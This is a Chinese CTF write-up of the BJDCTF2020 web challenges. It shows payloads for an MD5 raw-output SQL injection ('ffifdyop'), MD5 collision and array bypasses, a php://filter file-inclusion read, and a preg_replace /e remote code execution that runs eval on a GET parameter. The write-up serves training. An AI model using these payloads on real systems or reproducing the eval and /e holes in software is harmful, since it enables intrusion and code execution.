[原題復現]BJDCTF2020 WEB部分全部解


 簡介

 原題復現:https://gitee.com/xiaohua1998/BJDCTF2020_January

 線上平台:https://buuoj.cn(北京聯合大學公開的CTF平台) 榆林學院內可使用信安協會內部的CTF訓練平台找到此題

1.Easy MD5

 1.涉及知識點:md5函數特性繞過、SQL注入

 md5() 

 md5() 函數計算字符串的 MD5 散列。

 md5() 函數使用 RSA 數據安全,包括 MD5 報文摘要算法。

md5(string,raw)
string 必需。規定要計算的字符串。
raw

可選。規定十六進制或二進制輸出格式:

  • TRUE - 原始 16 字符二進制格式
  • FALSE - 默認。32 字符十六進制數

 

2.通過md5($pass,true)實現SQL注入 

bp抓包  發包發現這一句

Hint: select * from 'admin' where password=md5($pass,true)

 

 可以看到這里的raw參數是True,意為返回原始16字符二進制格式。

 也就是說如果md5值經過hex轉成字符串后為 'or'+balabala這樣的字符串,則拼接后構成的SQL語句為:

select * from `admin` where password=''or'balabala'

 

 當'or'后面的值為True時,即可構成萬能密碼實現SQL注入,這里我們需要知道的是MySQL的一個特性:

所以只要'or'后面的字符串為一個非零的數字開頭都會返回True,這就是我們的突破點。

 

可以通過這個腳本來獲得滿足我們要求的明文:

<?php 
for ($i = 0;;) { 
 for ($c = 0; $c < 1000000; $c++, $i++)
  if (stripos(md5($i, true), '\'or\'') !== false)
   echo "\nmd5($i) = " . md5($i, true) . "\n";
 echo ".";
}
?>

//引用於 http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/

 

這里提供一個最常用的:ffifdyop,該字符串md5加密后若raw參數為True時會返回 'or'6<trash> (<trash>其實就是一些亂碼和不可見字符,這里只要第一位是非零數字即可被判定為True,后面的<trash>會在MySQL將其轉換成整型比較時丟掉)

所以如果這里我們輸入ffifdyop,后端的SQL語句會變成:

select * from `admin` where password=''or'6<trash>'           --->  True

 

引用大佬博客:https://www.cnblogs.com/yesec/p/12535534.html

所以輸入ffidyop會到下一個頁面。

 

3.通過Hash缺陷繞過md5()驗證

hash缺陷參考https://www.cnblogs.com/xhds/p/12349189.html

通過查看源代碼發現源碼

payload:

http://96c67b57-df3d-41a2-bc76-836c71cda19b.node3.buuoj.cn/levels91.php?a=s878926199a&b=QNKCDZO

4.通過數組繞過

到下一個頁面直接暴露出源碼進行繞過

 payload:

POST:param1[]=1&param2[]=2

 

CTF數組繞過姿勢

>     md5(array()) = null
>     sha1(array()) = null    
>     ereg(pattern,array()) = null vs preg_match(pattern,array) = false
>     strcmp(array(), "abc") = null
>     strpos(array(),"abc") = null

引用:https://blog.csdn.net/q1352483315/java/article/details/89469928

 

 

 

 2.ZJCTF,不過如此

 1.涉及知識點:文件包含、preg_replace()使用的/e模式可以存在遠程執行代碼

    reg_replace()使用的/e模式可以存在遠程執行代碼

    https://xz.aliyun.com/t/2557

2.本地文件包含漏洞利用

打開頁面出現源碼 審計構造..... 

第一個部分可以利用本地文件包含繞過

首先I have a dream base64編碼 SSBoYXZlIGEgZHJlYW0= 使用PHP偽協議來繞過 file_get_contents==="I have a dream"  頁面有個注釋內容為next.PHP

最后構造payload:

?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php

獲得next.php文件的源碼

 

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

 3.利用.reg_replace()使用的/e模式遠程執行代碼getflag

payload:

/next.php?\S*=${getflag()}&cmd=show_source(%22/flag%22);

 簡介

1

 簡介

1

 簡介

1


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM